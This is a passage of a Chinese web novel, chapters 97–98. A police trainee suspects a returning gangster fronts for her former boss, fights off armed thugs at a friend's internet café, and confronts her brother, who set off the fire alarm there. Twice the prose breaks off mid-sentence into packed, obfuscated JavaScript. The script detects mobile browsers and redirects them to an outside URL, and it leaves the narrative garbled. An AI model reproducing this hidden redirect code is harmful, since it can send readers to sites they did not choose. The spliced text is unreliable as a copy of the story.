“对啊,账目,我不太懂算账嘛,所以就只能找成哥帮忙咯......”他试图用一副玩笑的语气掩盖紧张,挠了挠后脑勺,“阮妹妹,你别吓哥啊,咱这地方规规矩矩的,哪来那些乱七八糟的东西。” 话音未落,外面突然传来一阵嘈杂声。 外头是几个闹事的混混,拦着来偷偷上网的小学生问他们要保护费。阮云琛制服了几人,却没想其中一人在鞋子里藏了刀,在她掏手铐时,直接跳起攻袭了过来。 虽然最后确实是有惊无险,但之前模拟训练时受的伤不小心再次撕裂——这伤搁平时可能很快就好了,但很不巧,伤口本来就有点感染,加上天气太热,人又一直运动不断,所以才反反复复,怎么也没办法全部愈合。 但阮云琛确实也没跟阮秋撒谎。 伤确实是小伤,她也没瞒着什么事——毕竟连她自己都不是很确定。 从档案室翻出的那份资料到现在不过两天的时间,但阮云琛却觉得这两天格外漫长。 照片上的人早已被时间模糊了轮廓,但手腕上的那个符号却像火印一样清晰,直直烙在她的记忆里。 那是和安堂的一条走狗。 他十年前就混迹在宋祈手下,整天笑得像没骨头的蛇。 阮云琛没跟他打过照面,只从宋祈办公室的档案里看到过他的名字和照片。 那时候他用的名字是王赖成,如今摇身一变成了姓李的“成哥”,是混混口中能“顶天立地”的大人物。 阮云琛不知道他是怎么冒出来的,但她本能地感觉到不对劲。 人不可能无缘无故地回到旧路上,更何况是这样一个名字和过去紧密相连的人。宋祈的名字没在档案里出现,可她隐约觉得,李成庆的出现,不会是无意义的巧合。 她没多想,直接去找了廖致远。 她需要一个清晰的判断。 廖致远的态度一如既往的冷静,他从不多说废话。阮云琛提起“李成庆”——或者说,“王赖成”时,他眉头轻轻动了一下,随后把手里的资料往旁边一推。 “王赖成......金融惯犯。”他说,“不归我们组管,但是听过这个名字。” 从这一刻开始,阮云琛知道自己的猜测是对的。 廖致远确认了李成庆的身份,也补充了更多她不知道的信息:李成庆这些年一直在国外活动,最近才开始和一些小帮派接触,隐隐有重整旧势的迹象。 但这些并不重要,真正让阮云琛感到不安的是,廖致远提到的另一句话: “他可能是幌子。” 幌子。 这个词扎得她心口一沉。 阮云琛没有多问。 她明白廖致远的意思。 如果李成庆真是幌子,那真正藏在幕后的,很可能就是......宋祈。 他在躲,他在试探,而李成庆的每一步都像是在替他探路。 “别硬撑。”廖致远沉声说道,语气中难得带着几分不加掩饰的担忧,“现在你不是一个人在扛,有什么事及时告诉我。” 他的目光在她的脸上停留了片刻,像是在确认她的状态,又像是想说什么,却最终只是摇了摇头:“宋祈的事情,我会多留意。你现在专注于该做的事,别冒不必要的风险。” 他顿了一下,声音低了几分:“你的弟弟妹妹还等着你回家。” 阮云琛听得出来,这话里不仅仅是劝告,也是一种警告。他对她的关心是真实的,可这种关心也掺杂着对她可能会“越线”的隐忧。他知道她的性格,知道她骨子里那种不撞南墙不回头的倔强。 阮云琛点了头,没有再多话。 街头的风吹在脸上,带着初夏潮湿的气息。阮云琛站在街边,目光落在前方熙熙攘攘的人群中,像是想从中捕捉到什么,又像是单纯地发呆。 她的脑海里,胖子网吧里昏黄的灯光和那碗泡面的咸香味还清晰得像昨晚发生的事。 那些混混口中提到的“成哥”,胖子模棱两可的回答,和廖致远确认的名字,像是一张被逐渐拼起的拼图,露出了更大的轮廓。 胖子可能什么都不知道,可他无意间牵出了这根线,线的另一端,却直通那些她无法轻易忽略的旧事。 阮云琛闭了闭眼,耳边似乎还能听见胖子那一句句不着边际的敷衍。那个一边捞着泡面一边笑呵呵说“规矩得很”的人,真的什么都不清楚吗? ——她不确定。 但阮云琛知道,胖子的话和那几张照片之间,隔着的不是简单的巧合。成哥、李成庆、宋祈,像三根紧紧缠绕的线,把她一点点拉回到那片阴影里,渐渐收紧。 阮云琛不是没有想过撒手不管,但这件事从一开始就和她脱不开关系。 阮云琛忽地想起了他离开前送到医院的那束系着黑色丝带的白百合。 她没有亲手触碰过它,但那花的香气似乎永远留在了她的记忆里。百合美丽芬芳,干净得近乎圣洁,可她记得有人说过——这种花对狗来说是致命的毒药。 狗。 ——“野狗”。 和安堂那些人从不避讳提起这个词,背后冷嘲热讽的时候,谁都知道它指的是她。宋祈捡回来的一条流浪狗,忠诚、卑微,甚至带着一种讨好般的顺从。 可她背叛了他。 她明明知道宋祈的手段。 ——背叛过他的人,从来没有一个能全身而退。 那束百合不是装饰品,也不是善意的赠予,它是一个信号,一个警告。它静静地伫立在那里,像是一把无声的刀,干净锋利,等待着谁来触碰它。 他应该察觉了。 察觉了她给周铁山设下的拳套,发现了她背叛投靠警方的证据。 阮云琛的指尖下意识地扣在掌心,疼痛从皮肤渗入骨髓。 她闭了闭眼,胸口闷得几乎喘不过气来。 宋祈一直是个耐心的猎人,他喜欢猫捉老鼠的游戏。他离开这么多年,没有一丝踪迹,现在却忽然透过李成庆的出现,搅乱了这片已经平静许久的水。 阮云琛不敢确定。 她不确定他是要让这片水彻底浑浊,还是只是想用余波告诉她,他从未离开过。 “成哥的事情,你得注意点。”阮云琛靠在柜台边,语气平静地说。 97. 出警 谢胖子是个聪明人,或者说,是个对危险特别敏锐的小市民。 他听得出来阮云琛话里的弦外之音。 他放下泡面碗的动作慢了一拍,眼神在她身上停留了一瞬,随即移开了。 “你的意思是......?”胖子少见地收敛了笑,表情里带了几分认真。 阮云琛“嗯”了声,没急着答话,只是手指在柜台上有一下没一下地敲着,像是在测量这小小空间里的空气密度,“就是你想的那样。” 她的语气轻飘飘的,听不出多少担忧,却压得胖子胸口发紧。 他的眉头皱了起来,摆出一副“思考人生”的神色,实际上是给自己争取几秒钟的缓冲时间。 “你继续保持接触,但别太过了。”阮云琛看似漫不经心地补了一句,像是随口提起某天晚上几点的关门时间,“少说多听,有什么新情况就告诉我。” 胖子咽了口唾沫,觉得自己可能又被推到了某种火山边缘。他没说话,眼神却很复杂,像是在认真衡量这话的分量。 胖子多少感觉到那个合伙人的不对劲了。 谢胖子这个人,说到底不过是个普通的小市民,生性乐观,脑子灵光,胆子却不大。 成哥的出现对他来说,本来是天降喜事,一下子把他的网吧计划推上了快车道,可天上掉馅饼的事情总是让人越想越发毛。 一开始,一切都顺得不得了。 成哥熟人多,路子野,事情办得干净利落。他陪着胖子跑手续、选地址、对接装修队,甚至连网线安装这种琐事都一并操办了,效率高得让胖子感动得想给他送面锦旗。 可感动归感动,胖子没那么容易昏了头。 生意这东西,水浅王八多,尤其是城北那片。成哥这么厉害的人,怎么偏偏挑上了他这个小摊老板? 说实话,谢胖子一开始是不疑有他的,毕竟合伙开网吧是他自己的主意,成哥只是刚好在这段时间里冒了出来。 可人有时候总会在不经意间发现某些“说不清”的地方,就比如......一个外地人,怎么会对城北那种连警察都绕着走的地儿熟得跟自家后院似的? 成哥在城北那片的“面子”确实大,胖子没少见过。 走在巷子里,随便喊两嗓子就有人应声,头天晚上说要个场地,第二天就有人把钥匙送到手里。 胖子嘴上喊得欢,心里却总觉得这事透着点邪性——这种面子,不该属于一个正经的外地生意人。 再比如,成哥的那些“小兄弟”。 胖子一开始没当回事,觉得不过是些送货、跑腿的杂工,可后来才发现,这些人每次来都盯着他看,眼神比刀子还冷。 胖子自认不是什么省油的灯,可每次对上那些目光,后背都隐隐冒汗。 最不对劲的还是成哥本人。 他在网吧筹备期间堪称事无巨细,所有事情亲力亲为,连桌椅摆放都要过问,可等到网吧开业了,他却突然“人间蒸发”。 胖子嘴上说得轻松:“成哥忙啊,谁像我天天闲着吃泡面?”心里却明白,这位“合伙人”出力越多,藏得越深,越让人捉摸不透。 胖子心里不是没怀疑过,可他一直装得很聪明,甚至聪明得有些过了头。 他知道,这事要是真捅开了,可能连命都搭进去。他想得很明白——多一事不如少一事,装傻是最安全的对策。 所以当阮云琛站在柜台边提到“低调”这两个字时,胖子手里的泡面差点洒了。他垂下眼,筷子在碗里慢慢搅着,心里却乱得像煮沸的水。 难不成阮妹妹知道了什么......? 对...对,她是警校的学生,在北户派出所实习,她爸——虽然她一直叫人家“叔叔”,但是她爸也是个警察。 阮云琛说的话,胖子不敢不听,也不能不听。 成哥真的如他所料,是个麻烦。 可一向嘴碎的胖子现在一点儿也不敢问,他甚至不敢抬头。 ——人活在淮龙,最重要的一条,就是别把命丢在不该丢的地方。 他懂这个道理,也一直小心翼翼地在成哥面前低头哈腰,做一个“听话的合作伙伴”。但此刻,阮云琛的这句话,像是一根针,扎得他后脊梁一阵发凉。 他没再说什么,只是埋头把泡面吃得更快了。外面的风声透过门缝灌进来,吹得柜台上的账单翻动了一页,像是在提醒他,这场“合伙生意”,已经翻到了另一个不太好看的章节。 阮云琛没有再逼他,只是靠着柜台,目光垂下,平静得像一潭死水:“放心,不会真让你跑到火线上去。” 这话让胖子稍稍松了口气,可松气归松气,他是个现实主义者,没那么容易被三言两语打发掉。 他沉默了一会儿,还是忍不住问道:“我会有事情吗?” 阮云琛一时间不知道该如何回答。 话音落下,柜台间的空气像是凝固了一瞬。 阮云琛一时间不知道该如何回答。 她站在那里,手指在柜台边轻轻敲了两下,想给自己的思绪找个出口。可答案并没有那么简单,至少她没办法用几句话就能让胖子心安。 李成庆,或者说王赖成——这个名字在她脑子里盘旋不去。 他的脸、他的纹身、还有他那副玩世不恭的笑,让人一想起来,后背就冒着冷气。 王赖成在警方档案里是金融惯犯,可李成庆不是。 阮云琛能认出他,完全是因为过去在和安堂的经历,而这段经历,她知道,有些东西是永远不能说的。 警方目前没有明确的证据抓人。 李成庆的底细,廖致远知道一些,但也只是猜测。更何况这些猜测来自他们的私人谈话——一场没有书面记录,也没有后盾支持的对话。 要把这种“凭空捏造”的线索当成依据? 别说警方了,连阮云琛自己都觉得滑稽。 尽管廖致远会把这个情况上报,可是否能将“金融惯犯”与“和安堂旧案”串联起来,根本没个准信。 而且“和安堂”这个名字,对某些人来说,早已是一块“落满尘土的旧碑”。 五年前,警方强行将案子结掉时,给出的理由冠冕堂皇,说是势力被彻底捣毁,犯罪链条不复存在。 尽管廖致远三番五次地强调和安堂的首要人物宋祈逃亡海外,可所有努力都像是撞在棉花墙上,没有回音。 结案了——案子明明没完,却因为找不到其他的证据,也抓不到宋祈的人,案子就被草草盖了章、写进档案柜、锁了抽屉,再也没有人提起。 这样的处理方式,像是一场慎重的告别仪式,将案件的余烬打扫干净,好让人们看见一片洁白无瑕的地面。 至于藏在灰烬里的残火,有没有可能再次点燃,那是另一回事了。 至少,从当时的光鲜数据来看,一切都符合期待:□□团伙瓦解、民众拍手称快,案件侦破的消息在宣传栏上挂了足够久,像一枚精心擦亮的徽章,为某些人的履历添上了金光灿灿的一笔。 阮云琛知道,胖子不过是个普通人。 他不像她,也不像廖致远,没见过那些淌血的暗巷,没碰过冷得发凉的刀刃。 谢林利是淮龙的平民小市民,日子也不过是掰着手指头算的三餐四季。让他去面对这些,他未必有承受得起的本事,也未必有躲得过的运气。 但阮云琛却不能轻易给他答案。 告诉他“没事”?这话太轻飘了,不负责任;告诉他“有事”?那更像是把他往深渊里一推。 她站在那里,目光微微垂下,却久久不知该如何作答。 胖子这人,嘴上爱碎叨,但脑子转得快得很,尤其是关键时刻。阮云琛清楚,他能听出话里的犹豫,能从语气里捕捉危险的影子。 与其多说,还不如不说。 他挠了挠头,装出一副随意的样子,但语气里却藏着几分真心的请求:“出事了可得护着我点,别让我被人打得满头包,成不?” 他停顿了一下,又嘿嘿笑了笑,把气氛调回轻松的轨道:“我这身板,你也知道,顶多挨两下。” 这话倒是化解了尴尬。 阮云琛扯着嘴角笑了笑:“你这快两米的身板还怕被揍啊?” 胖子也笑了。他猛地吸溜了一口泡面,神色又恢复了从前的轻松悠闲:“你没听过一句话吗,树大容易招风,人大容易挨打。” 阮云琛拍了他一下:“小心一语成谶。” 胖子“嘿嘿”一笑,顺着阮云琛的手劲儿连着“呸呸呸”了好几下。 可事实证明,胖子可能“呸”得还不够。 网吧的霓虹灯还没完全亮起来,晚饭后的油烟味刚从街角散开。街对面的摊贩忙着收拾烤串架,偶尔有几辆电瓶车带着嗡嗡的马达声驶过。 胖子的网吧门半掩着,透出昏黄的灯光,像是一片安静中透着几分疏离的孤岛。 阮云琛赶到的时候,街上的人已经散得差不多了。远远地,她听见砸东西的声音从里面传来,夹杂着粗声大气的叫骂,像是某种被放大的嘈杂,打破了整条街的平静。 她是从值班室直接赶来的,那里已经是她这一晚连续接警的第三个小时。 电话是胖子打来的,语气慌乱得连话都说不清,只反复喊着“有人砸店”,随后就断了信号。 阮云琛知道这地方凌晨没人巡逻,支援还需要时间赶到,耽搁不得。她来得仓促,甚至连外套都没带。 门口堆着一片狼藉——翻倒的塑料椅,散落的烟盒,还有一块不知道从哪里被撬下来的牌匾,木质的边角裂开,露出凌乱的毛刺。 胖子蜷在柜台后,抱着一台收银机,脑袋缩得像个乌龟。几只鼠标被丢在地上,滚来滚去,电线拖着长长的尾巴,像几条死鱼。 一个瘦高的家伙手里拎着砍刀,正用刀背敲着柜台边缘。他的动作缓慢而随意,像是在思考什么,又像是在等某种回应。 周围的几个人则一副跃跃欲试的模样,不时发出起哄般的笑声。 阮云琛推开网吧门时,手已经习惯性地按住了对讲机的开关。报警信息被她迅速传回派出所,声音低而清晰:“北户街网吧有人持械闹事,需支援,重复,需支援。” 没人比她更清楚,支援赶到至少还需要十分钟。 十分钟,对方要是够快,能把整间网吧砸成一片废墟。 她目光扫了一圈,鼻尖嗅到了一点血腥味,混着空气中电路烧焦的焦糊味,令人不安。阮云琛没有动作,只是轻轻抬手,把腰间的对讲机调到了静音模式。 砸东西的家伙显然也注意到了她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256050|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们的目光转了过来,动作稍稍顿了一下。瘦高个抬了抬下巴,用刀背敲了两下柜台,声音清脆而刺耳。 “哟,来了个热闹的。”他笑了,语气带着一种混不吝的随意,“这是打算管闲事儿呢,还是——” 他的话没说完,阮云琛已经一步迈进了网吧。 她的脚步不快,但每一步都踩得很稳,鞋底敲在地砖上的声音格外清晰。她没有看那个瘦高个,而是目光越过了他,落在了柜台后的胖子身上。 胖子的眼睛亮了一下,随即又迅速黯淡了下去。他动了动嘴唇,像是想说点什么,却又咽了下去,只是把收银机抱得更紧了些。 瘦高个显然没把她放在眼里。他侧了侧身子,刀尖一转,指向地上翻倒的一把椅子:“知道这是谁的地盘吗?敢这么晃进来,你可真——” 他的话再一次被打断。 阮云琛动了。 她没有拔枪,也没有说话,动作快得几乎让人来不及反应。她的膝盖撞上了瘦高个的手肘,刀脱手的瞬间,她反手一个肘击,直接将人压在了地上。 剩下的几个人显然愣住了。 他们砸东西的动作停了一瞬,随后一哄而上。网吧的灯光昏暗,桌椅翻倒的声音夹杂着叫骂和短促的喘息,像是一场失控的闹剧—— 而这闹剧开始变得愈发混乱了。 砸碎的显示器散发着电路烧焦的味道,混着空气中的闷热,让人窒息。阮云琛从柜台前扭身闪避,手肘猛地一撞,将冲上来的一个家伙的鼻梁撞得血流如注。 可就在她转身的瞬间,肩膀一沉——一根铁棍的重量狠狠砸了下来。 剧烈的疼痛从肩膀蔓延,像是一瞬间被尖利的火舌舔过。 阮云琛咬牙忍了住,膝盖猛地一顶,将铁棍的主人撞得踉跄后退几步。可这一下的力度让她浑身发麻,肩膀的血似乎开始往下渗,滴在地板上,形成一片深色的斑点。 而就在这时,网吧的火警忽然刺耳地响了起来。 尖锐的警报声像是在空气中撕开了一道口子,红色的警示灯不停闪烁,将昏黄的灯光切割得支离破碎。 闹事的几个人动作顿了一下,显然被突如其来的变化搞得措手不及。 “什么鬼?”一个人慌张地往四周看,嘴里低声咒骂,“着火了?!” 火警的响动让原本吵闹的局面变得更加混乱。铁棍的家伙转身就跑,剩下的人也没了气焰,喊着“撤了撤了”,一边朝后门挤去。 一时间,原本还算局促的空间变得更加逼仄,翻倒的椅子和电线横七竖八地堆在脚下,挡住了去路。 阮云琛站在原地,肩膀的疼痛和耳边的噪声交织,让她有一瞬间的迟滞。她偏头看了一眼柜台后的胖子,低声喝道:“别出来!” 胖子显然还在惊魂未定,抱着收银机不敢动弹,脸色比灯光还要苍白。 而就在此时,一丝异样的光线从网吧的办公室方向闪了出来——那是火警的红光在玻璃上投下的影子,带着极细微的晃动。 阮云琛目光一凝,快步绕过柜台,朝办公室的门口看去。 门是关着的,可透过门上的小窗,她看见了一张熟悉的脸...... 阮秋。 他的侧脸在闪烁的红光中时隐时现,屏幕的反光映在他严肃的眉间,显然还没注意到外面的状况。 他的手指飞快地敲击着键盘,动作专注而敏捷——桌上的烟雾报警器明显被触动了,火警就是从这里响起来的。 阮云琛的胸口骤然一紧,刚才的疼痛被瞬间压了下去。 她的脑子嗡的一声,像是被无数尖锐的念头刺穿。 他为什么在这里?什么时候来的?那些闹事的人到底是谁......他到底知不知道?他知不知道这些人背后可能牵连着什么? 恐惧像一只无形的手,猛地攥住了她的喉咙,令她几乎无法呼吸。 这种压迫感太过强烈,阮云琛几乎无法忍耐。 恐惧在一瞬间被愤怒点燃,化作火焰,烧得她理智全无。她猛地迈上一步,手狠狠一推,办公室的门撞在墙上,发出一声沉闷的巨响。 阮秋被吓了一跳,迅速转过了头。 他看见阮云琛的一瞬间,眼神里闪过一丝慌乱,但随即就恢复了镇定。 “姐……”他的声音压得很低,但还没说完,阮云琛已经走到他面前,一把扣住他的手腕,将他拉了起来。 “你在这里干什么?”她的声音冷得像冰,但语速极快,藏着一丝压抑的怒火,“谁让你来的?” 一旁的胖子急忙接过话,笑得有些不自在:“秋弟弟说……说是想趁网吧没人的时候,温习一下电脑知识……学、学习嘛,年轻人学无止境!” 阮云琛忽地发出一声冷笑,声音短促而刺耳:“凌晨一点,学习?” 胖子语塞了一瞬,刚想再说点什么,却在对上她的眼神时,下意识地噤了声。那眼神太冷,像是能把人冻住。 阮秋张了张嘴,还没来得及回答,网吧外忽然传来一阵杂乱的脚步声和警笛的呼啸——增援的警察终于赶到了。 网吧光线忽明忽暗,空气中混杂着焦糊味和血腥味。 阮云琛的肩膀传来阵阵刺痛,可她的注意力却牢牢钉在阮秋身上,手指攥得更紧了些。 “说话。” 98. 完蛋喽 阮云琛原本是气得发昏的。 她盯着阮秋的脸,想从他的表情里看出一点理亏或者后悔的痕迹——可惜没有。 阮秋的沉默让她更加恼火,话在嘴边转了几圈,最终还是没有落下。 网吧里喧闹未平,增援的警笛声已经响起,她只能暂时收住火气,转身跟着同事回了所里。 事情处理得并不麻烦。 紧急包扎、现场勘查、口供记录、还有必要的检讨,一切按部就班。 闹事的只在后门那儿抓到几个,剩下的都给逃了,但所里增派了人手,说是会加强棚户区的巡逻力度。 阮云琛知道自己擅自出警有些违规,但案情紧急,又确实避免了更严重的后果,上级虽然板着脸,却没有过多苛责,只让她写份报告交上来。 一夜过去,天边的鱼肚白还没露出来,整座城市依旧沉在夜色的余韵里。 派出所的灯光冷冷的,像一双清醒得过分的眼睛,落在人身上,无声地提醒着现实还没结束。 阮云琛抬头看了眼墙上的时钟——快四点了。 疲惫像是从骨缝里爬出来的,她一边收拾桌上的报告,一边漫不经心地扫了眼门口......果然。 阮秋就在那里,手揣在兜里,像是没事人一样等她。 替班的同事拍了拍她,瞧着她领口透出来的纱布,语气里带着几分调侃:“总见你受伤,这次又怎么了?” 阮云琛扯着嘴角笑了笑,虽然脸色还有些疲惫,但语气里难得透出一点轻松:“没什么,小伤,习惯了。” 她话音未落,对方已经哈哈一笑:“行吧,你这铁人,赶紧回去休息,别累垮了。” 阮云琛礼貌地回应了几句寒暄。 短短的对话,把所里严肃的气氛冲散了些许。她的神情也似乎放松了一点,像是真的从刚才的紧张中缓了过来。 站在旁边的阮秋默默看着这一切,目光在她脸上停了片刻。那神色太自然,甚至连一点愠怒都看不出。 他微微放下了心。 阮云琛很生气。 阮秋知道阮云琛为什么生气。 他本来不该出现在这里的——他也确实没打算出现在这里的。 他早就安排好了这一晚的一切:哄淼淼睡下,检查了她的药瓶盖有没有盖紧,又备好了第二天值班的阮云琛要带的饭菜——一份热腾腾的南瓜粥和几片切好的苹果,全装进了饭盒,叠得整整齐齐。 做完这些,他已经躺在了床上,盯着头顶昏暗的天花板,耳边是窗外断断续续的蝉鸣。日子再忙再累,这些小小的习惯却总能让他的神经松下来一点。 可忽然,电话响了。 胖子的声音从听筒那头传来,断断续续,像被人捏住了喉咙:“来……出事了……快……救命……” 话未说完,电话就断了,剩下的只是一片刺耳的杂音。 阮秋愣坐在床沿,盯着听筒,脑子里迅速闪过过去几天的种种——胖子最近莫名其妙的电话、阮云琛刻意转移话题的冷静、还有那句轻描淡写的“城北有点麻烦”。 这些片段像是乱七八糟的拼图,混乱中却隐隐拼出了一个轮廓。 他咬了咬牙,抓起外套,直接出了门。 从家里到城北有点远,阮秋拦了辆出租,路上几乎空无一人,只有稀稀落落的路灯洒下昏黄的光。 出租车师傅没过片刻就到了目的地,阮秋只让他在巷子口停了下来,自己压住了步子,向网吧跑去。 巷子口昏黄的路灯下,停着一辆没上锁的自行车,车身的漆面有些剥落,车座旁贴着北户派出所的标志。 他的脚步顿了一下,目光瞬间落在车上——他认得这辆自行车。 是派出所值班用的工具车。 没有警车,没有警灯,阮秋的脑子里瞬间闪过一个名字,他的心脏猛地紧了一下。 今天当值的是阮云琛,工具车出现在这里,只能说明……来的只有她一个人。 仅仅一个人? 阮秋下意识地握紧了拳,掌心微微沁出一层冷汗。那些砸东西的声音从网吧里传出来,夹杂着隐约的叫骂,在夜晚的安静里显得格外刺耳。 他的呼吸不自觉地加快了几分,脑子里冒出许多画面,一瞬间连成了一片模糊的光影。 ——她必须没事。 可他能做什么? 这个问题像一根针,冷不丁地扎进了他的大脑,扎破了他刚才因为紧张而升腾起的那点冲动。 他是个普通人,手无缚鸡之力,既不是警察,也没有任何工具。别说冲进去帮忙了,他甚至连眼前发生了什么都没搞清楚。 一旦被发现,他的出现只会成为阮云琛的负担,甚至会让她分心。 可让他什么都不做? 站在这里等着……等着万一听到什么意外的消息——不、 这根本不可能。 阮秋脑子飞快地转动着,眼神一扫,忽然落在了网吧上方那条隐约可见的红色标志线上。 火警。 一个念头几乎是条件反射地蹦了出来。 他想起了上次胖子跟他吹牛,说这网吧为了节约成本,连烟雾报警器都是自己买了安装的,连着的消防系统可以触发整条街的火警联动。 想到这里,他的手心微微发凉,心里却开始打起了主意。 火警一旦响起,第一反应赶来的一定是消防队。那群闹事的家伙虽然人多势众,但真闹到消防赶到的程度,不是怕被抓,就是会想尽办法溜走。 阮秋的手指慢慢松开,又紧了紧。他必须抓住这个办法,但也必须迅速行动。 不能让她分心,也不能让那些人继续下去。 他悄悄绕到了后门,动作轻得像踩在棉花上,努力让自己的呼吸放缓。他记得胖子的办公室就在网吧后面,里面装着网吧主机和几台备用电脑,烟雾报警器的开关就藏在墙角的控制面板上。 阮秋压低身体,顺着后门的缝隙看了一眼里面的状况,确认没有人注意到这边后,他迅速蹲下,悄无声息地挤了进去。 网吧里的气氛压抑得像是在发酵,空气中混杂着烟味、酒味和烧焦的电线味。 阮秋听见柜台那边传来的吵闹声和几声重物落地的砰响,立刻屏住了呼吸,顺着黑暗摸进了胖子的办公室。 电脑屏幕的光照亮了他的脸,阮秋的手指飞快地在键盘上跳动。 网吧的系统简单得像个敞开的大门,只要轻轻一推就能进去。他搜了两分钟,找到了一直没派上用场的火警系统,然后犹豫了一秒。 外面传来的吵闹声突然高了几分,像是什么东西被砸碎了,伴随着一声尖锐的刺耳声,让他的神经瞬间绷紧。 他不再犹豫,手指猛地一敲,启动了系统。 网吧里响起刺耳的警报声,像是一只被惊动的猛兽,吼声震得人耳膜发痛。 阮秋看着屏幕上的操作完成提示,心跳如擂鼓。他闭了闭眼,努力压下那些翻涌上来的紧张感,甚至有些庆幸自己的手没有抖。 他听见外面的脚步声乱作一团,混杂着一阵慌乱的叫骂。那刺耳的警报声盖过了一切,像是某种信号,把所有人都逼出了网吧。 他居然......居然做到了! 短暂的混乱过后,阮秋的嘴角忍不住微微扬起一点。他看着眼前的电脑屏幕,呼吸终于平稳了一些,甚至有一点沾沾自喜...... 直到他听见外面传来的脚步声。 那声音轻而快,带着一种凌厉的节奏,瞬间让他的神经重新绷了起来。他转头的瞬间,门猛地被推开,撞在墙上发出一声巨响。 “你在这里干什么?” 阮秋下意识地站了起来,迎上了那双冷得像刀的眼睛。他还没来得及开口解释,就被人一把扣住了手腕,手心里还残留着刚才按键盘的余温。 ……完了。 他知道自己完了。 回到所里后,阮秋被一起带去做备案。 这对阮秋来说,是一次前所未有的经历——他的名字被写进了备案表,简短的问询过程却让他觉得像是审问一样。 他能感觉到阮云琛的目光偶尔扫过来,虽然没有多余的话,但那种冷硬的气场让他浑身不自在。 备案完成,时针已经指向了凌晨四点。 街上的夜风带着微微的寒意,天边隐约透出一点微光,却还没到黎明时分。 派出所的门在身后缓缓关上,阮云琛迈着稳健的步伐向外走,肩上的制服随着她的动作轻轻摆动。她的背影直挺挺的,像是一根绷紧的弦,随时会断裂。 阮秋紧随其后,心里莫名地轻松了些。 刚才所里的气氛并没有预想中那么糟,甚至还有人开玩笑似的提到她的伤:“总见你挂彩,这次可别再逞能了。” 她也笑了,简单寒暄了几句,那模样看起来就像是什么事都没有发生过。 应该没事了吧? 他快步追上去,脚步轻快得像个完成了某项“重要任务”的功臣。 回想起刚才的火警,他心里不由自主地有些沾沾自喜——没有他及时触发警报,这次事情可能会更麻烦。她应该会明白这一点吧? “姐,”他试探着开口,语气里还带着点讨好的意思,“刚才那个火警,效果还可以吧?那帮人跑得挺快,对不对?” 阮秋期待着阮云琛的回应,却没想到她的脚步没有丝毫停顿,甚至有点加快的意思。 阮云琛的脚步越走越快,鞋底与地面的摩擦声在安静的夜里显得格外刺耳。阮秋一边小跑着跟上,一边试探着开口。 “姐,你真厉害,”他的语气有点刻意的轻松,“刚才制服那帮人的动作……我觉得比电影里的都帅。” 没有回应。 他又试了一次:“不过胖子那家伙,真是胆子太小了,你没看他刚才抱着收银机的样子,像是抱着自己的命根子一样……也不想想,谁会抢他那点破玩意儿。” 依旧没有回应。 阮秋的脚步稍稍放缓了一点,心里却越发忐忑。他甚至换了几个话题——关于胖子,关于今晚网吧里的闹剧,甚至还说到了淼淼最近的辅导班。 但她的沉默像是一堵无形的墙,把他所有的话都挡在了外面。 空气越来越凝滞,阮秋忍不住偷偷瞥了一眼她的背影,那条笔直的脊背,像是承载着某种随时会爆发的力量。 他咽了咽口水,声音不自觉低了一些:“姐,你的肩膀还疼吗?要不回去我给你……” “闭嘴。”阮云琛的声音忽然打断了他。 语气低沉冰冷,像是从喉咙深处挤出来的压抑怒意。那两个字就像一颗砸进水里的石子,瞬间击溃了阮秋所有的轻松和自得。 阮秋愣了一下,脚步顿住,抬起的手僵在了半空中。 可阮云琛没有停下。 她的背影隐没在昏暗的街灯下,像是一道拉得极紧的弦,随时可能绷断——她甚至连头都没有回。 阮秋愣在原地,手还停在半空中。他张了张嘴,却发现自己连喘息都变得小心翼翼。 ——她是真的生气了。 这个念头在他脑海里冒出来,带着一种沉重的现实感,压得他呼吸发紧。他的拳头在裤缝边攥了攥,像是想为自己找点什么安慰,可终究一无所获。 几秒钟的僵硬后,他低下头,用力抿了抿唇。过了片刻,他像是下了某种决心,重新迈开步子,追了上去。 他没敢再说别的,只是尽量跟得不远不近,像是在默默等一个时机。 阮云琛的背影依旧冷硬得像块石头,肩膀微微颤了颤,不知道是因为疼痛,还是因为压抑的情绪。 他看在眼里,心里却越发堵得慌。 “姐,”他又忍不住开了口,语气试探得几乎带着点讨好,“你肩膀……刚才是不是又碰到了伤口?回去我给你上点药,或者……” 可他的话没能说完。 阮云琛的步伐没有丝毫减缓,甚至更加果断有力。她自顾自地绷着脸往前走,像是根本没有听见,眼睛直视前方,目光冷而沉。 阮秋顿时哑口。 他停了几秒,又下意识地加快了脚步追上去,试图再说点什么,却被她一声不吭的冷漠逼得每个字都卡在喉咙里,怎么也发不出来。 她的沉默像是一堵墙,隔开了他们之间的每一点试探和交流。那是一种真正的无声,却比任何一句冰冷的拒绝都更令人难以忍受。 阮秋的脑海里乱成一团。明明刚才她还在和所里的同事笑着寒暄,怎么一转眼,面对他的时候却又是另一副面孔? 他的手指不自觉地收紧,脸上的表情一点点垮了下来。 被无视的感觉就像一根钝刺,缓慢而执拗地扎进了心里。他终于忍不住想开口,可话到嘴边又被硬生生压了下去,只能跟在她身后,像个跟丢了主人的影子。 心里那股委屈瞬间涌了上来。他咬着牙跟了几步,终于忍不住开口:“姐,你这样算什么?我……我明明是帮了你!” 阮云琛依旧没回头,像是压根没听见他的话。 那一刻,某种熟悉的无力感狠狠地击中了阮秋。 他停下脚步,拳头攥得发紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263615|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 